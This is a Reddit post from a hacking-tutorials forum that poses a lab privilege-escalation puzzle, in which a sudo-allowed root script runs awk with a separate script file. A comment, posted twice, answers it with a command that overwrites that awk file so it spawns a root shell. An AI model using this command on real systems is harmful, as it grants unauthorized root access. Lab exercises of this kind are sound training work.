r/Hacking_Tutorials • • 22h ago

Question Low-privilege shell on Ubuntu. Sudo lets you run /usr/local/bin/audit as root. Can you reach root?

You're on a lab Ubuntu server as user dev.

dev@lab:~$ whoami

dev

dev@lab:~$ id

uid=1001(dev) gid=1001(dev) groups=1001(dev),1002(web)

dev@lab:~$ sudo -l

User dev may run the following commands:

(root) NOPASSWD: /usr/local/bin/audit

The script:

#!/bin/bash

echo "Running system audit..."

/usr/bin/find /var/log/app -name "*.log" -exec /usr/bin/awk -f /opt/scripts/parse.awk {} \;

echo "Audit complete."

Task:

  1. Identify the exact issue that allows privilege escalation.
  2. Show the commands to reach root.
  3. Explain how you would fix the script and permissions properly.

No Metasploit. No automated tools. Just standard Linux commands and shell knowledge.

This is a controlled lab scenario. Share your approach in the comments.

3 Upvotes

3 comments sorted by

1

u/XeVoriax 5h ago

the awk might be the weak spot here, anyone tested writing to it?

1

u/bummyjabbz 4h ago

echo 'BEGIN { system("/bin/bash -p") }' > /opt/scripts/parse.awk

Then execute audit script

1

u/bummyjabbz 4h ago

echo 'BEGIN { system("/bin/bash -p") }' > /opt/scripts/parse.awk

Then execute audit script